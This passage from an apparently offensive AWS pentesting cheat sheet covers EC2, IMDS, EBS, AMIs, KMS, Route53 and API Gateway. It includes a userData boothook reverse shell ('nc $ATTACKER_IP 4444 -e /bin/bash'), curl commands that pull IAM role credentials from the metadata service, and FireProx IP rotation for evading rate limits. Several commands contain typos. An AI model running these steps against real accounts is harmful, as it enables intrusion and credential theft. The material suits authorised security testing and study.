The InstanceId has to be known, watch [Enumerate EC2 Instances](#Enumerate-EC2-Instances) to get these IDs.

Stop the machine using the InstanceId through aws cli.

```sh
aws ec2 stop-instances --profile PROFILENAME --instance-ids $INSTANCE_ID
```

Creat a cloud-init script which contains the reverse shell. The file should contain somethin like the following example, so it will executed at boot time.

```sh
#cloud-boothook
#!/bin/bash -x
apt install -y netcat-traditional && nc $ATTACKER_IP 4444 -e /bin/bash
```

Encode the shellscript via base64.

```sh
base64 rev.txt > rev.b64
```

Upload the encoded file to the stopped instance via aws cli.

```sh
aws ec2 modify-instance-attribute --profile PROFILENAME --instance-id $INSTANCE_ID --attribute userData --value file://rev.b64
```

Start the instance with the uploaded file included via aws cli. Wait for the reverse shell to catch up.

```sh
aws ec2 start-instances --profile PROFILENAME --instance-ids $INSTANCE_ID
```

#### EC2 and IAM

EC2 instances can use nearly any other service provided by AWS.
There only needs to be access to the credentials. This is can be done through
the Instance MetaData Service (IMDS). The IMDS is available through HTTP on
IP address `169.254.169.254` inside every EC2 instance.

##### Request Credentials through IMDS

There are two versions of IMDS in place right now.
Regardless of the version a name of a role needs to be requested through the
IMDS using curl, which is then used to query the token for said role.

###### Query IMDSv1 Permissions

Query the name of the role via curl.

```sh
role_name=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
```

Through the knowledge of the role name we can request the credentials of that role.

```sh
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/${role_name}
```

##### Query IMDSv2 Permissions

A token is needed to curl for the name of the role. This is done using curl.

```sh
TOKEN=$(curl -s -XPUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
```

The token is used to query the name of the role via curl.

```sh
role_name=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
```

Both, token and name of the role can then be used to request the credentials
via curl.

```sh
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/${role_name}
```

PS:
If you want to activate IMDSv2 an instance ID is needed to activate it through
aws cli.

```sh
instance_id=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
region_name=<region_name>
aws ec2 modify-instance-metadata-options --instance-id $instance_id --https-tokens required --region $region_name
```

#### EC2 & Elastic Network Interface (ENI)

Every EC2 instance has at least one ENI to be made available on the network.
There is a security group bound to each ENI to limit communication to the EC2
instance. Such security contain for example which IP addresses can access the
instance,  on which ports and which protocols can be used to access it.

List available ENIs through the webshell of the account.

```sh
aws ec2 describe-network-interfaces
```


#### EC2 & ELastic Block Storage (EBS)


An EC2 instance has EBS as its set block device, either SSD or HDD.

EBS storage is persistent, snapshots can be created.
In contrast to other storage solutions. These other, ephemeral storage
solutions can not be snapshotted.

Snapshots can be created from EBSs, which are stored in S3 buckets.
Snapshots can be encrypted through KMS and can be shared accross accounts.

Snapshots deliver a lot of useful content.
List metadata of a snapshot via aws cli.

```sh
aws ec2 describe-snapshots --region <region> --snapshot-ids <snap-id>
```

This shows the size of the volume in GBs, state of the drive, encryption, ownerId and so on. 

A snapshot can be used to create a volume. Snapshots are available in a complete region after they got created, but they need to be in an explicit AZ to mount them.

Create a volume from a snapshot through metadata service on an EC2 instance using the following commands. 

Get the current AZ through a metadata token.

```sh
TOKEN=$(curl -s -XPUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
availability_zone=$(curl -s -H "X-aws-ec2-metdata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/availability-zone)
```

A volume can be created with the use of the snapshot-id, the type, the region and the previously gathered AZ.

```sh
aws ec2 create-volume --snapshot-id <snapshotId> --volume-type gp3 --region <region>
--availability-zone $availability_zone
```

The output contains the `VolumeId` to attach the volume to an EC2 instance.

```sh
instance_id=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id)
aws ec2 attach-volume --region <region> --device /dev/sdh --instance-id $instance_id --volume-id <VolumeId>
```

Mount the created and attached device to the file system

```sh
lsblk
sudo mkdir /mnt/attached-volume
sudo mount /dev/<devicename> /mnt/attached-volume
```

#### EC2 Amazon Machine Image (AMI) Configuration

An AMI is an image of a VM. This image can be configured before it is deployed via cloud-init scripts. These scripts may contain interesting data like credentials or other intel.
The files are stored in `/var/lib/cloud/instance/scripts/`

List all available or user specific AMIs on the account via aws cli.

```sh
aws ec2 describe-images
aws ec2 decribe-images --owners <owner/account-id>
```

Get the configuration file contents through Instance Connect to the EC2 or through the SSM Session Manager via curl.

```sh
TOKEN=$(curl -s -XPUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data
```

Alternatively use aws cli to get the configuration files

```sh
TOKEN=$(curl -s -XPUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
instance_id=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id)
aws ec2 describe-instance-attribute --attribute UserData --instance-id $instance_id --region <region> --query UserData --output text | base64 -d
```

#### Restore an Amazon Machine Image (AMI)

An EC2 VM can be created from an Amazon Machine Image,
that can be found in some S3 buckets.

```sh
aws ec2 create-restore-image-task --object-key <AmiImageNameInsideTheBucket> --bucket <bucketname> --name <nameForEC2>
```

An `ImageId` will be returned. This `imageId` is needed to create the image later.

Create a keypair to connect to the created VM via SSH. the keypair is set for
EC2 instances by aws cli automatically.

```sh
aws ec2 create-key-pair --key-name <key-name> --query "KeyMaterial" --output text > ./mykeys.pem
```

A subnet for the the creation of the ec2 is needed, pick one via aws cli.

```sh
aws ec2 describe-subnets
```

Further, a security group with SSH access is needed

```sh
aws ec2 describe-security-groups
```

Create an image including the found information

```sh
aws ec2 run-instances --image-id <ImageIdOfGeneratedAMI> --instance-type t3a.micro --key-name <keyname> --subnet-id <subnetId> --security-group-id <securityGroupId>
```

Take a look at the EC2 dashboard inside the webconsole to see the IP address of the created EC2 instance. Connect to the VM via SSH, using the generated keypair.

### Elastic Loadbalancer (ELB)

* The AutoScaling Group (ASG) scales down the oldest instance.
* Only the Loadbalancer gets exposed, not the EC2 VMs.
* A ELB can terminate the TLS session.
* An Application ELB can have a WAF attached

List available load-balancers via aws cli.

```sh
aws elbv2 describe-load-balancers --query Loadbalancers[].DNSName --output text
```

### Encryption Services

#### Key Management Service (KMS)

Create encryption keys to be used on AWS services through their API.
Encryption of storage can also be done through KMS keys.

A KMS key created in one account can be used in a second account as well.
This means an attacker with sufficient privileges is able to (theoretically)
lock you out of data encrypted with a key from another account. This can be
mitigated through e.g. Object Versioning of an S3 bucket or MFA Delete.

Every KMS key has a (resource based) key policy attached to it. Therein is the
`Prinicpal` key-value set to permit access to the key. If
`arn:aws:iam::<accountId>:root` is set as Principal, every principal inside the
account is able to use the key.

An identity based policy can also be set, where the KMS key is mentioned in the
`Resource` list.

##### Create a KMS Key

Create a KMS key using aws cli.

```sh
aws kms create-key
```

##### Create a Data Key

Use the created KMS key to create a data key via aws cli.

```sh
aws kms generate-data-key --key-id <KeyId> --number-of-bytes 32
```

#### Amazon Certificate Manger (ACM)

Manage certificate so 2e2 encryption through TLS which are then used for other
AWS services.

##### Create an ACM TLS Certificate

Request a TLS certificate for a (sub-)domain via aws cli.

```sh
aws acm request-certificate --domain-name <AccountId>.example.org --validation-method DNS
```

##### Describe a Certificate

Details about a certificate can be queried via aws cli.

```sh
aws acm desribe-certificate --certificate-arn <certificate-arn>
```

#### DNS & Route53

List hosted DNS zone in an account via aws cli.

```sh
aws route53 list-hosted-zones
```

##### Register a Domain via Certificate through Route53

A subdomain can be useful for regular users and an attacker alike.

Create a file named `create_record.json` containing certificate details from
the aws acm desription.

```json
{
  "Comment": "subdomain.example.com record"
  "Changes": [
    {
      "Action": "CREATE",
      "ResourceRecordSet":
        {
          "Name": "<ResourceRecord/Name>",
          "Type": "CNAME",
          "TTL": 300,
          "ResourceRecords": [
            {
            "Value": "<ResourceRecord/Value"
            }
          ]
        }
    }
  ]
}
```

Create the record from the previously created file via aws cli.

```sh
aws route53 change-resource-record-sets --hosted-zone-id <ZoneId> --change-batch file://create_record.json
```

Check the status of the created record using the `ChangeInfo` ID from the last
step via aws cli. The final status needs to be "INSYNC"

```sh
aws route53 get-change --id <ChangeInfo/Id>
```

Describe the certificate to see the details via aws cli, like mentioned in the
ACM chapter above.

### API Gateway

An HTTP API consists of the following parts.

* HTTP Request Body
* HTTP Response
* Specific HTTP headers
* HTTP Method
* Endpoint the request is queried

It acts as a serverless reverse proxy for other APIs.
There is an option for real-time, bidirectional websocket connection, besides
regular RESTlike HTTP(S) APIs.

Monitoring is an integrated part of the Gateway.

Data the API Gateway uses is stored in an S3 bucket or a DynamoDB.

Microservices can be used through the API Gateway as well.

#### Lambda Authorizer

Lambda acts as a service proxy for the API Gateway. The API Gateway can be
attached to other AWS resources, e.g. Lambda. The Lambda authorizer can be used
to check for credentials to other resources. Authorization can be done via
regular IAM or OAuth2. The authorization can be customized for access.

A policy is set for authorization against resources. Watch out for `*` wildcards
inside these Lambda authorizer policies to get unexpected permissions.

#### Use an API Gateway as a Reverse Proxy

Rotation of IP addresses for an attack may bypass restrictions, like
rate-limiting, set for an address. This can be done via VPNs, e.g. Tor or more
suitable in this case using the AWS API Gateway to rotate the IP address via
FireProx.

Use the Cloudshell inside a browser to clone and install the [Fireprox
repository](https://github.com/ustayready/fireprox). Start `fire.py`
afterwards.

You can use Fireprox externally from the AWS, but you have set an endpoint via
a URL to achieve a connection.

```sh
./fire.py --command create --url <URL>
```

Using any of these two lets you list existing APIs.

```sh
./fire.py --command list
```
